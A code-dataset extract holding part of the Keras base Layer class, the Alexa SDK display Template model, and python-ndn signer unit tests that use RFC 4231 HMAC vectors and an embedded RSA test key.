Layer # has multiple outputs. if output_masks is None: flat_masks = [None for _ in flat_outputs] else: flat_masks = nest.flatten(output_masks) for output, mask in zip(flat_outputs, flat_masks): try: output._keras_mask = mask except AttributeError: # C Type such as np.ndarray. pass if tf_utils.are_all_symbolic_tensors(flat_outputs): for output in flat_outputs: if getattr(output, '_keras_mask', None) is not None: # Do not track masks for `TensorFlowOpLayer` construction. output._keras_mask._keras_history_checked = True def _collect_input_masks(self, inputs, args, kwargs): if self._call_arg_was_passed('mask', args, kwargs): return self._get_call_arg_value('mask', args, kwargs) if not self._should_compute_mask: return None input_masks = nest.map_structure(lambda t: getattr(t, '_keras_mask', None), inputs) if generic_utils.is_all_none(input_masks): return None return input_masks def _call_arg_was_passed(self, arg_name, args, kwargs, inputs_in_args=False): if arg_name in kwargs: return True call_fn_args = self._call_fn_args if not inputs_in_args: # Ignore `inputs` arg. call_fn_args = call_fn_args[1:] if arg_name in dict(zip(call_fn_args, args)): return True return False def _get_call_arg_value(self, arg_name, args, kwargs, inputs_in_args=False): if arg_name in kwargs: return kwargs[arg_name] call_fn_args = self._call_fn_args if not inputs_in_args: # Ignore `inputs` arg. call_fn_args = call_fn_args[1:] args_dict = dict(zip(call_fn_args, args)) return args_dict[arg_name] def _set_connectivity_metadata_(self, inputs, outputs, args, kwargs): # If the layer returns tensors from its inputs, unmodified, # we copy them to avoid loss of tensor metadata. output_ls = nest.flatten(outputs) inputs_ls = object_identity.ObjectIdentitySet(nest.flatten(inputs)) output_ls_copy = [] for x in output_ls: if x in inputs_ls: with backend.name_scope(self.name): x = array_ops.identity(x) output_ls_copy.append(x) outputs = nest.pack_sequence_as(outputs, output_ls_copy) # Ignore `inputs` arg. arguments = dict(zip(self._call_fn_args[1:], args)) arguments.update(kwargs) # Add an inbound node to the layer, so it can keep track of this call. # This updates the layer history of the output tensor(s). self._add_inbound_node( input_tensors=inputs, output_tensors=outputs, arguments=arguments) return inputs, outputs def _add_inbound_node(self, input_tensors, output_tensors, arguments=None): inbound_layers = nest.map_structure(lambda t: t._keras_history.layer, input_tensors) node_indices = nest.map_structure(lambda t: t._keras_history.node_index, input_tensors) tensor_indices = nest.map_structure(lambda t: t._keras_history.tensor_index, input_tensors) # Create node, add it to inbound nodes. node_module.Node( self, inbound_layers=inbound_layers, node_indices=node_indices, tensor_indices=tensor_indices, input_tensors=input_tensors, output_tensors=output_tensors, arguments=arguments) # Update tensor history metadata. # The metadata attribute consists of # 1) a layer instance # 2) a node index for the layer # 3) a tensor index for the node. # The allows layer reuse (multiple nodes per layer) and multi-output # or multi-input layers (e.g. a layer can return multiple tensors, # and each can be sent to a different layer). for i, tensor in enumerate(nest.flatten(output_tensors)): tensor._keras_history = KerasHistory(self, len(self._inbound_nodes) - 1, i) # pylint: disable=protected-access def _get_node_attribute_at_index(self, node_index, attr, attr_name): if not self._inbound_nodes: raise RuntimeError('The layer has never been called ' 'and thus has no defined ' + attr_name + '.') if not len(self._inbound_nodes) > node_index: raise ValueError('Asked to get ' + attr_name + ' at node ' + str(node_index) + ', but the layer has only ' + str(len(self._inbound_nodes)) + ' inbound nodes.') values = getattr(self._inbound_nodes[node_index], attr) if isinstance(values, list) and len(values) == 1: return values[0] else: return values def _maybe_build(self, inputs): # Check input assumptions set before layer building, e.g. input rank. if not self.built: input_spec.assert_input_compatibility( self.input_spec, inputs, self.name) input_list = nest.flatten(inputs) if input_list and self._dtype_policy.compute_dtype is None: try: dtype = input_list[0].dtype.base_dtype.name except AttributeError: pass else: self._dtype_policy = policy.Policy(dtype) input_shapes = None if all(hasattr(x, 'shape') for x in input_list): input_shapes = nest.map_structure(lambda x: x.shape, inputs) # Only call `build` if the user has manually overridden the build method. if not hasattr(self.build, '_is_default'): # Any setup work performed only once should happen in an `init_scope` # to avoid creating symbolic Tensors that will later pollute any eager # operations. with tf_utils.maybe_init_scope(self): self.build(input_shapes) # We must set self.built since user defined build functions are not # constrained to set self.built. self.built = True # Optionally load weight values specified at layer instantiation. if getattr(self, '_initial_weights', None) is not None: self.set_weights(self._initial_weights) self._initial_weights = None def _symbolic_call(self, inputs): input_shapes = nest.map_structure(lambda x: x.shape, inputs) output_shapes = self.compute_output_shape(input_shapes) def _make_placeholder_like(shape): ph = backend.placeholder(shape=shape, dtype=self.dtype) ph._keras_mask = None return ph return nest.map_structure(_make_placeholder_like, output_shapes) def _get_trainable_state(self): layers = trackable_layer_utils.filter_empty_layer_containers(self._layers) # Keep track of each top-level layers' `trainable` as well as the # state of all of its sublayers. trainable_state = {self: self.trainable} for layer in layers: trainable_state.update(layer._get_trainable_state()) return trainable_state def _set_trainable_state(self, trainable_state): layers = trackable_layer_utils.filter_empty_layer_containers(self._layers) if self in trainable_state: self.trainable = trainable_state[self] for layer in layers: layer._set_trainable_state(trainable_state) @property def _obj_reference_counts(self): self._maybe_create_attribute('_obj_reference_counts_dict', object_identity.ObjectIdentityDictionary()) return self._obj_reference_counts_dict @trackable.no_automatic_dependency_tracking def _maybe_create_attribute(self, name, default_value): if not hasattr(self, name): super(Layer, self).__setattr__(name, default_value) def __delattr__(self, name): # For any super.__delattr__() call, we will directly use the implementation # in Trackable and skip the behavior in AutoTrackable. The Layer was # originally use Trackable as base class, the change of using Module as base # class forced us to have AutoTrackable in the class hierarchy. Skipping # the __delattr__ and __setattr__ in AutoTrackable will keep the status quo. existing_value = getattr(self, name, None) # If this value is replacing an existing object assigned to an attribute, we # should clean it out to avoid leaking memory. First we check if there are # other attributes referencing it. reference_counts = self._obj_reference_counts if existing_value not in reference_counts: super(tracking.AutoTrackable, self).__delattr__(name) return reference_count = reference_counts[existing_value] if reference_count > 1: # There are other remaining references. We can't remove this object from # _layers etc. reference_counts[existing_value] = reference_count - 1 super(tracking.AutoTrackable, self).__delattr__(name) return else: # This is the last remaining reference. del reference_counts[existing_value] super(tracking.AutoTrackable, self).__delattr__(name) if (isinstance(existing_value, Layer) or trackable_layer_utils.has_weights(existing_value)): super(tracking.AutoTrackable, self).__setattr__( '_layers', [l for l in self._layers if l is not existing_value]) self._attribute_sentinel.invalidate_all() if isinstance(existing_value, tf_variables.Variable): super(tracking.AutoTrackable, self).__setattr__( '_trainable_weights', [w for w in self._trainable_weights if w is not existing_value]) super(tracking.AutoTrackable, self).__setattr__( '_non_trainable_weights', [w for w in self._non_trainable_weights if w is not existing_value]) # Any time we change `_layers` (either by deleting the attribute or by # reassigning it which will call __delattr__ from __setattr__) the topology # of the subgraph of Layers may change. In that case we will need to # recompute any attribute which depends on that subgraph. if name == '_layers': self._attribute_sentinel.invalidate_all() def __setattr__(self, name, value): if (name == '_self_setattr_tracking' or not getattr(self, '_self_setattr_tracking', True) or # Exclude @property.setters from tracking hasattr(self.__class__, name)): try: super(tracking.AutoTrackable, self).__setattr__(name, value) except AttributeError: raise AttributeError( ('Can\'t set the attribute "{}", likely because it conflicts with ' 'an existing read-only @property of the object. Please choose a ' 'different name.').format(name)) return # Keep track of trackable objects, for the needs of `Network.save_weights`. value = data_structures.sticky_attribute_assignment( trackable=self, value=value, name=name) reference_counts = self._obj_reference_counts reference_counts[value] = reference_counts.get(value, 0) + 1 # Clean out the old attribute, which clears _layers and _trainable_weights # if necessary. try: self.__delattr__(name) except AttributeError: pass # TODO(scottzhu): Need to track Module object as well for weight tracking. # Be careful about metric if it becomes a Module in future. # Append value to self._layers if relevant # Sequential models use a separate layer tracking mechanism, so skip the # logic defined here for tracking layers. if (self.__class__.__name__ != 'Sequential' and (isinstance(value, Layer) or trackable_layer_utils.has_weights(value))): self._maybe_create_attribute('_layers', []) # We need to check object identity to avoid de-duplicating empty # container types which compare equal. if not any((layer is value for layer in self._layers)): self._layers.append(value) if hasattr(value, '_attribute_sentinel'): value._attribute_sentinel.add_parent(self._attribute_sentinel) if hasattr(value, '_use_resource_variables'): # Legacy layers (V1 tf.layers) must always use # resource variables. value._use_resource_variables = True # Append value to list of trainable / non-trainable weights if relevant # TODO(b/125122625): This won't pick up on any variables added to a # list/dict after creation. for val in nest.flatten(value): # TODO(b/126450014): Remove `_UnreadVariable` check here when assign ops # no longer return True for isinstance Variable checks. if not isinstance(val, tf_variables.Variable): continue if isinstance(val, resource_variable_ops._UnreadVariable): # pylint: disable=protected-access continue # Users may add extra weights/variables # simply by assigning them to attributes (invalid for graph networks) self._maybe_create_attribute('_trainable_weights', []) self._maybe_create_attribute('_non_trainable_weights', []) if val.trainable: if any(val is w for w in self._trainable_weights): continue self._trainable_weights.append(val) else: if any(val is w for w in self._non_trainable_weights): continue self._non_trainable_weights.append(val) backend.track_variable(val) # Skip the auto trackable from tf.Module to keep status quo. See the comment # at __delattr__. super(tracking.AutoTrackable, self).__setattr__(name, value) def _gather_children_attribute(self, attribute): assert attribute in { 'weights', 'trainable_weights', 'non_trainable_weights' } if hasattr(self, '_layers'): nested_layers = trackable_layer_utils.filter_empty_layer_containers( self._layers) return list( itertools.chain.from_iterable( getattr(layer, attribute) for layer in nested_layers)) return [] def _gather_unique_layers(self): all_layers = self._gather_layers() unique_layers, seen_layers = [], object_identity.ObjectIdentitySet() for layer in all_layers: if layer not in seen_layers: unique_layers.append(layer) # Track the Variable's identity to avoid __eq__ issues. seen_layers.add(layer) return unique_layers def _gather_layers(self): all_layers = [self] if hasattr(self, '_layers'): child_layers = trackable_layer_utils.filter_empty_layer_containers( self._layers) for child_layer in child_layers: all_layers.extend(child_layer._gather_layers()) return all_layers @property @tracking.cached_per_instance def _attribute_sentinel(self): return trackable_layer_utils.AttributeSentinel() # This is a hack so that the is_layer (within # training/trackable/layer_utils.py) check doesn't get the weights attr. # TODO(b/110718070): Remove when fixed. def _is_layer(self): return True def _init_call_fn_args(self): # Clear cached call function arguments. self.__class__._call_full_argspec.fget.cache.pop(self, None) self.__class__._call_fn_args.fget.cache.pop(self, None) self.__class__._call_accepts_kwargs.fget.cache.pop(self, None) call_fn_args = self._call_fn_args self._expects_training_arg = ('training' in call_fn_args or self._call_accepts_kwargs) self._expects_mask_arg = ('mask' in call_fn_args or self._call_accepts_kwargs) @property @tracking.cached_per_instance def _call_full_argspec(self): # Argspec inspection is expensive and the call spec is used often, so it # makes sense to cache the result. return tf_inspect.getfullargspec(self.call) @property @tracking.cached_per_instance def _call_fn_args(self): all_args = self._call_full_argspec.args # Scrub `self` that appears if a decorator was applied. if all_args and all_args[0] == 'self': return all_args[1:] return all_args @property @tracking.cached_per_instance def _call_accepts_kwargs(self): return self._call_full_argspec.varkw is not None @property @tracking.cached_per_instance def _should_compute_mask(self): return ('mask' in self._call_fn_args or getattr(self, 'compute_mask', None) is not None) @property def _eager_losses(self): # A list of loss values containing activity regularizers and losses # manually added through `add_loss` during eager execution. It is cleared # after every batch. # Because we plan on eventually allowing a same model instance to be trained # in eager mode or graph mode alternatively, we need to keep track of # eager losses and symbolic losses via separate attributes. if not hasattr(self._thread_local, '_eager_losses'): self._thread_local._eager_losses = [] return self._thread_local._eager_losses @_eager_losses.setter def _eager_losses(self, losses): self._thread_local._eager_losses = losses def _dedup_weights(self, weights): output, seen_weights = [], object_identity.ObjectIdentitySet() for w in weights: if w not in seen_weights: output.append(w) # Track the Variable's identity to avoid __eq__ issues. seen_weights.add(w) return output # SavedModel properties. Please see keras/saving/saved_model for details. @property def _trackable_saved_model_saver(self): return layer_serialization.LayerSavedModelSaver(self) @property def _object_identifier(self): return self._trackable_saved_model_saver.object_identifier @property def _tracking_metadata(self): return self._trackable_saved_model_saver.tracking_metadata def _list_extra_dependencies_for_serialization(self, serialization_cache): return (self._trackable_saved_model_saver .list_extra_dependencies_for_serialization(serialization_cache)) def _list_functions_for_serialization(self, serialization_cache): return (self._trackable_saved_model_saver .list_functions_for_serialization(serialization_cache)) def __getstate__(self): # Override to support `copy.deepcopy` and pickling. # Thread-local objects cannot be copied in Python 3, so pop these. # Thread-local objects are used to cache losses in MirroredStrategy, and # so shouldn't be copied. state = self.__dict__.copy() state.pop('_thread_local', None) return state def __setstate__(self, state): state['_thread_local'] = threading.local() # Bypass Trackable logic as `__dict__` already contains this info. object.__setattr__(self, '__dict__', state) class TensorFlowOpLayer(Layer): def __init__(self, node_def, name, constants=None, trainable=True, dtype=None): # Pass autocast=False, as if inputs are cast, input types might not match # Operation type. super(TensorFlowOpLayer, self).__init__( name=_TF_OP_LAYER_NAME_PREFIX + name, trainable=trainable, dtype=dtype, autocast=False) _keras_layers_gauge.get_cell('TensorflowOpLayer').set(True) if isinstance(node_def, dict): self.node_def = json_format.ParseDict(node_def, node_def_pb2.NodeDef()) else: if not isinstance(node_def, bytes): node_def = node_def.encode('utf-8') self.node_def = node_def_pb2.NodeDef.FromString(node_def) # JSON serialization stringifies keys which are integer input indices. self.constants = ({ int(index): constant for index, constant in constants.items() } if constants is not None else {}) # Layer uses original op unless it is called on new inputs. # This means `built` is not set in `__call__`. self.built = True def call(self, inputs): if context.executing_eagerly(): return self._defun_call(inputs) return self._make_op(inputs) def _make_node_def(self, graph): node_def = node_def_pb2.NodeDef() node_def.CopyFrom(self.node_def) # Used in TPUReplicateContext to indicate whether this node has been cloned # and to not add TPU attributes. node_def.attr['_cloned'].b = True node_def.name = graph.unique_name(node_def.name) return node_def def _make_op(self, inputs): inputs = nest.flatten(inputs) graph = inputs[0].graph node_def = self._make_node_def(graph) with graph.as_default(): for index, constant in self.constants.items(): # Recreate constant in graph to add distribution context. value = tensor_util.constant_value(constant) if value is not None: constant = constant_op.constant(value, name=node_def.input[index]) inputs.insert(index, constant) c_op = ops._create_c_op(graph, node_def, inputs, control_inputs=[]) op = graph._create_op_from_tf_operation(c_op) op._control_flow_post_processing() # Record the gradient because custom-made ops don't go through the # code-gen'd eager call path op_type = compat.as_str(op.op_def.name) attr_names = [compat.as_str(attr.name) for attr in op.op_def.attr] attrs = [] for attr_name in attr_names: attrs.append(attr_name) attrs.append(op.get_attr(attr_name)) attrs = tuple(attrs) execute.record_gradient(op_type, op.inputs, attrs, op.outputs) if len(op.outputs) == 1: return op.outputs[0] return op.outputs @function.defun def _defun_call(self, inputs): return self._make_op(inputs) def get_config(self): config = super(TensorFlowOpLayer, self).get_config() config.update({ # `__init__` prefixes the name. Revert to the constructor argument. 'name': config['name'][len(_TF_OP_LAYER_NAME_PREFIX):], 'node_def': json_format.MessageToDict(self.node_def), 'constants': { i: backend.get_value(c) for i, c in self.constants.items() } }) return config class AddLoss(Layer): def __init__(self, unconditional, **kwargs): # Pass autocast=False, as there is no reason to cast loss to a different # dtype. kwargs['autocast'] = False super(AddLoss, self).__init__(**kwargs) self.unconditional = unconditional def call(self, inputs): self.add_loss(inputs, inputs=(not self.unconditional)) return inputs def get_config(self): config = super(AddLoss, self).get_config() config.update({'unconditional': self.unconditional}) return config class AddMetric(Layer): def __init__(self, aggregation=None, metric_name=None, **kwargs): super(AddMetric, self).__init__(**kwargs) self.aggregation = aggregation self.metric_name = metric_name def call(self, inputs): self.add_metric(inputs, self.aggregation, self.metric_name) return inputs def get_config(self): config = super(AddMetric, self).get_config() config.update({ 'aggregation': self.aggregation, 'metric_name': self.metric_name }) return config class KerasHistory( collections.namedtuple('KerasHistory', ['layer', 'node_index', 'tensor_index'])): # Added to maintain memory and performance characteristics of `namedtuple` # while subclassing. __slots__ = () # Avoid breaking users who directly import this symbol from this file. # TODO(fchollet): remove this. InputSpec = input_spec.InputSpec # pylint:disable=invalid-name

true

f7f37f964d91421f28dc708531732d6d685b7822

6,015

py

Python

env/lib/python3.8/site-packages/ask_sdk_model/interfaces/display/template.py

adamash99/alexa-play-pot-of-greed

dc2d18dae55692a4bf1becb72685a5777870c643

[ "MIT" ]

90

2018-09-19T21:56:42.000Z

2022-03-30T11:25:21.000Z

ask-sdk-model/ask_sdk_model/interfaces/display/template.py

ishitaojha/alexa-apis-for-python

a68f94b7a0e41f819595d6fe56e800403e8a4194

[ "Apache-2.0" ]

11

2018-09-23T12:16:48.000Z

2021-06-10T19:49:45.000Z

ask-sdk-model/ask_sdk_model/interfaces/display/template.py

ishitaojha/alexa-apis-for-python

a68f94b7a0e41f819595d6fe56e800403e8a4194

[ "Apache-2.0" ]

28

2018-09-19T22:30:38.000Z

2022-02-22T22:57:07.000Z

# coding: utf-8 # # Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file # except in compliance with the License. A copy of the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for # the specific language governing permissions and limitations under the License. # import pprint import re # noqa: F401 import six import typing from enum import Enum from abc import ABCMeta, abstractmethod if typing.TYPE_CHECKING: from typing import Dict, List, Optional, Union, Any from datetime import datetime from ask_sdk_model.interfaces.display.back_button_behavior import BackButtonBehavior as BackButtonBehavior_46c3eb02 class Template(object): """ :param object_type: :type object_type: (optional) str :param token: :type token: (optional) str :param back_button: :type back_button: (optional) ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior .. note:: This is an abstract class. Use the following mapping, to figure out the model class to be instantiated, that sets ``type`` variable. | ListTemplate2: :py:class:`ask_sdk_model.interfaces.display.list_template2.ListTemplate2`, | | ListTemplate1: :py:class:`ask_sdk_model.interfaces.display.list_template1.ListTemplate1`, | | BodyTemplate7: :py:class:`ask_sdk_model.interfaces.display.body_template7.BodyTemplate7`, | | BodyTemplate6: :py:class:`ask_sdk_model.interfaces.display.body_template6.BodyTemplate6`, | | BodyTemplate3: :py:class:`ask_sdk_model.interfaces.display.body_template3.BodyTemplate3`, | | BodyTemplate2: :py:class:`ask_sdk_model.interfaces.display.body_template2.BodyTemplate2`, | | BodyTemplate1: :py:class:`ask_sdk_model.interfaces.display.body_template1.BodyTemplate1` """ deserialized_types = { 'object_type': 'str', 'token': 'str', 'back_button': 'ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior' } # type: Dict attribute_map = { 'object_type': 'type', 'token': 'token', 'back_button': 'backButton' } # type: Dict supports_multiple_types = False discriminator_value_class_map = { 'ListTemplate2': 'ask_sdk_model.interfaces.display.list_template2.ListTemplate2', 'ListTemplate1': 'ask_sdk_model.interfaces.display.list_template1.ListTemplate1', 'BodyTemplate7': 'ask_sdk_model.interfaces.display.body_template7.BodyTemplate7', 'BodyTemplate6': 'ask_sdk_model.interfaces.display.body_template6.BodyTemplate6', 'BodyTemplate3': 'ask_sdk_model.interfaces.display.body_template3.BodyTemplate3', 'BodyTemplate2': 'ask_sdk_model.interfaces.display.body_template2.BodyTemplate2', 'BodyTemplate1': 'ask_sdk_model.interfaces.display.body_template1.BodyTemplate1' } json_discriminator_key = "type" __metaclass__ = ABCMeta @abstractmethod def __init__(self, object_type=None, token=None, back_button=None): # type: (Optional[str], Optional[str], Optional[BackButtonBehavior_46c3eb02]) -> None """ :param object_type: :type object_type: (optional) str :param token: :type token: (optional) str :param back_button: :type back_button: (optional) ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior """ self.__discriminator_value = None # type: str self.object_type = object_type self.token = token self.back_button = back_button @classmethod def get_real_child_model(cls, data): # type: (Dict[str, str]) -> Optional[str] """Returns the real base class specified by the discriminator""" discriminator_value = data[cls.json_discriminator_key] return cls.discriminator_value_class_map.get(discriminator_value) def to_dict(self): # type: () -> Dict[str, object] """Returns the model properties as a dict""" result = {} # type: Dict for attr, _ in six.iteritems(self.deserialized_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x.value if isinstance(x, Enum) else x, value )) elif isinstance(value, Enum): result[attr] = value.value elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else (item[0], item[1].value) if isinstance(item[1], Enum) else item, value.items() )) else: result[attr] = value return result def to_str(self): # type: () -> str """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): # type: () -> str """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): # type: (object) -> bool """Returns true if both objects are equal""" if not isinstance(other, Template): return False return self.__dict__ == other.__dict__ def __ne__(self, other): # type: (object) -> bool """Returns true if both objects are not equal""" return not self == other

36.676829

119

0.644389

import pprint import re import six import typing from enum import Enum from abc import ABCMeta, abstractmethod if typing.TYPE_CHECKING: from typing import Dict, List, Optional, Union, Any from datetime import datetime from ask_sdk_model.interfaces.display.back_button_behavior import BackButtonBehavior as BackButtonBehavior_46c3eb02 class Template(object): deserialized_types = { 'object_type': 'str', 'token': 'str', 'back_button': 'ask_sdk_model.interfaces.display.back_button_behavior.BackButtonBehavior' } attribute_map = { 'object_type': 'type', 'token': 'token', 'back_button': 'backButton' } supports_multiple_types = False discriminator_value_class_map = { 'ListTemplate2': 'ask_sdk_model.interfaces.display.list_template2.ListTemplate2', 'ListTemplate1': 'ask_sdk_model.interfaces.display.list_template1.ListTemplate1', 'BodyTemplate7': 'ask_sdk_model.interfaces.display.body_template7.BodyTemplate7', 'BodyTemplate6': 'ask_sdk_model.interfaces.display.body_template6.BodyTemplate6', 'BodyTemplate3': 'ask_sdk_model.interfaces.display.body_template3.BodyTemplate3', 'BodyTemplate2': 'ask_sdk_model.interfaces.display.body_template2.BodyTemplate2', 'BodyTemplate1': 'ask_sdk_model.interfaces.display.body_template1.BodyTemplate1' } json_discriminator_key = "type" __metaclass__ = ABCMeta @abstractmethod def __init__(self, object_type=None, token=None, back_button=None): self.__discriminator_value = None self.object_type = object_type self.token = token self.back_button = back_button @classmethod def get_real_child_model(cls, data): discriminator_value = data[cls.json_discriminator_key] return cls.discriminator_value_class_map.get(discriminator_value) def to_dict(self): result = {} for attr, _ in six.iteritems(self.deserialized_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x.value if isinstance(x, Enum) else x, value )) elif isinstance(value, Enum): result[attr] = value.value elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else (item[0], item[1].value) if isinstance(item[1], Enum) else item, value.items() )) else: result[attr] = value return result def to_str(self): return pprint.pformat(self.to_dict()) def __repr__(self): return self.to_str() def __eq__(self, other): if not isinstance(other, Template): return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other

true

f7f37f9a9e15b732dceb3f4dca28437b6f6a15fd

13,167

py

Python

tests/security/signer_test.py

Kjwon15/python-ndn

4d1c827958bce1caeacc16f72a47ee8c90db1d6e

[ "Apache-2.0" ]

null

tests/security/signer_test.py

Kjwon15/python-ndn

4d1c827958bce1caeacc16f72a47ee8c90db1d6e

[ "Apache-2.0" ]

null

tests/security/signer_test.py

Kjwon15/python-ndn

4d1c827958bce1caeacc16f72a47ee8c90db1d6e

[ "Apache-2.0" ]

null

# ----------------------------------------------------------------------------- # Copyright (C) 2019-2020 Xinyu Ma # # This file is part of python-ndn. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ----------------------------------------------------------------------------- from Cryptodome.Util.asn1 import DerSequence from Cryptodome.Hash import SHA256 from Cryptodome.PublicKey import ECC from Cryptodome.Signature import DSS from ndn.encoding import make_data, MetaInfo, parse_data from ndn.security import Sha256WithEcdsaSigner, Sha256WithRsaSigner, HmacSha256Signer class TestSha256WithEcdsaSigner: def test_verify(self): # Ecdsa signature is not unique, so we only test if we can verify it pri_key = ECC.generate(curve="P-256") key = pri_key.export_key(format="DER") pub_key = pri_key.public_key() signer = Sha256WithEcdsaSigner("/K/KEY/x", key) pkt = make_data("/test", MetaInfo(), b"test content", signer=signer) _, _, _, sig_ptrs = parse_data(pkt) # Test its format is ASN.1 der format DerSequence().decode(bytes(sig_ptrs.signature_value_buf)) verifier = DSS.new(pub_key, 'fips-186-3', 'der') h = SHA256.new() for content in sig_ptrs.signature_covered_part: h.update(content) # verify() throws ValueError if it fails, the return value is undefined # So do not assert its value verifier.verify(h, bytes(sig_ptrs.signature_value_buf)) class TestSha256WithHmacSigner: def test_rfc4231_1(self): key = b'\x0b' * 20 signer = HmacSha256Signer('name', key) data = b'Hi There' wire = bytearray(32) assert signer.get_signature_value_size() == 32 assert signer.write_signature_value(wire, [memoryview(data)]) == 32 assert wire.hex() == 'b0344c61d8db38535ca8afceaf0bf12b881dc200c9833da726e9376c2e32cff7' def test_rfc4231_2(self): key = b'Jefe' signer = HmacSha256Signer('name', key) data = b'what do ya want for nothing?' wire = bytearray(32) assert signer.write_signature_value(wire, [memoryview(data)]) == 32 assert wire.hex() == '5bdcc146bf60754e6a042426089575c75a003f089d2739839dec58b964ec3843' def test_rfc4231_3(self): key = b'\xaa' * 20 signer = HmacSha256Signer('name', key) data = b'\xdd' * 50 wire = bytearray(32) assert signer.write_signature_value(wire, [memoryview(data)]) == 32 assert wire.hex() == '773ea91e36800e46854db8ebd09181a72959098b3ef8c122d9635514ced565fe' def test_data_1(self): key = bytes(i for i in range(32)) signer = HmacSha256Signer('key1', key) data = make_data('/ndn/abc', MetaInfo(None), b'SUCCESS!', signer) assert (data.hex() == '0649070a08036e646e0803616263' '140015085355434345535321' '160d1b01041c08070608046b657931' '172019868e7183998df373332f3dd1c9c950fc29d734c07977791d8396fa3b91fd36') class TestSha256WithRsaSigner: def test_data(self): key = bytes([ 0x30, 0x82, 0x04, 0xbf, 0x02, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x04, 0xa9, 0x30, 0x82, 0x04, 0xa5, 0x02, 0x01, 0x00, 0x02, 0x82, 0x01, 0x01, 0x00, 0xb8, 0x09, 0xa7, 0x59, 0x82, 0x84, 0xec, 0x4f, 0x06, 0xfa, 0x1c, 0xb2, 0xe1, 0x38, 0x93, 0x53, 0xbb, 0x7d, 0xd4, 0xac, 0x88, 0x1a, 0xf8, 0x25, 0x11, 0xe4, 0xfa, 0x1d, 0x61, 0x24, 0x5b, 0x82, 0xca, 0xcd, 0x72, 0xce, 0xdb, 0x66, 0xb5, 0x8d, 0x54, 0xbd, 0xfb, 0x23, 0xfd, 0xe8, 0x8e, 0xaf, 0xa7, 0xb3, 0x79, 0xbe, 0x94, 0xb5, 0xb7, 0xba, 0x17, 0xb6, 0x05, 0xae, 0xce, 0x43, 0xbe, 0x3b, 0xce, 0x6e, 0xea, 0x07, 0xdb, 0xbf, 0x0a, 0x7e, 0xeb, 0xbc, 0xc9, 0x7b, 0x62, 0x3c, 0xf5, 0xe1, 0xce, 0xe1, 0xd9, 0x8d, 0x9c, 0xfe, 0x1f, 0xc7, 0xf8, 0xfb, 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0xd0, 0x64, 0x80, 0xa7, 0x21, 0x1a, 0x48, 0x00, 0x37, 0xd6, 0x19, 0x71, 0xbb, 0x91, 0x20, 0x9d, 0xe2, 0xc3, 0xec, 0xdb, 0x36, 0x1c, 0xca, 0x48, 0x7d, 0x03, 0x32, 0x74, 0x1e, 0x65, 0x73, 0x02, 0x90, 0x73, 0xd8, 0x3f, 0xb5, 0x52, 0x35, 0x79, 0x1c, 0xee, 0x93, 0xa3, 0x32, 0x8b, 0xed, 0x89, 0x98, 0xf1, 0x0c, 0xd8, 0x12, 0xf2, 0x89, 0x7f, 0x32, 0x23, 0xec, 0x67, 0x66, 0x52, 0x83, 0x89, 0x99, 0x5e, 0x42, 0x2b, 0x42, 0x4b, 0x84, 0x50, 0x1b, 0x3e, 0x47, 0x6d, 0x74, 0xfb, 0xd1, 0xa6, 0x10, 0x20, 0x6c, 0x6e, 0xbe, 0x44, 0x3f, 0xb9, 0xfe, 0xbc, 0x8d, 0xda, 0xcb, 0xea, 0x8f ]) meta_info = MetaInfo(None, 5000, b'\x08\x02\x00\x09') signer = Sha256WithRsaSigner('/testname/KEY/123', key) data = make_data('/ndn/abc', meta_info, b'SUCCESS!', signer) assert (data.hex() == '06fd0143070a08036e646e0803616263' '140a190213881a0408020009' '15085355434345535321' '161b1b01011c1607140808746573746e616d6508034b45590803313233' '17fd0100' '5716f5b96a3141dba78970efa4f45601a36c2fc9910e82292c321ae6672ee099' '44930ef3dab60d714927a87063f1b8382d6c98c894cf2f065d7da28b380fa6cd' '08c83a243d847bc086da99c85fd14e941593d16e4f060b6a3bffb98035900643' '0ac22a334cb37dce105902e86ee8c7f4363042bdb815b455d0ce62ae7c43b027' '9842dd956f67a696ee176415873c918f36d976d68971d8d7f903a71ef6f38b27' '3c0d8ccfe23f12ecf5212a34b94eb62f822cda1f09e0f949640319cd026fb1ab' '85282e30a8fe3899bc86d86696e11e157b74f88c0efd9823369dab63262f5d7a' 'abb372a3aaf43307331a2796e913e3d36150f6a387b4c97c19a493bb4513af3f')

73.558659

107

0.609934

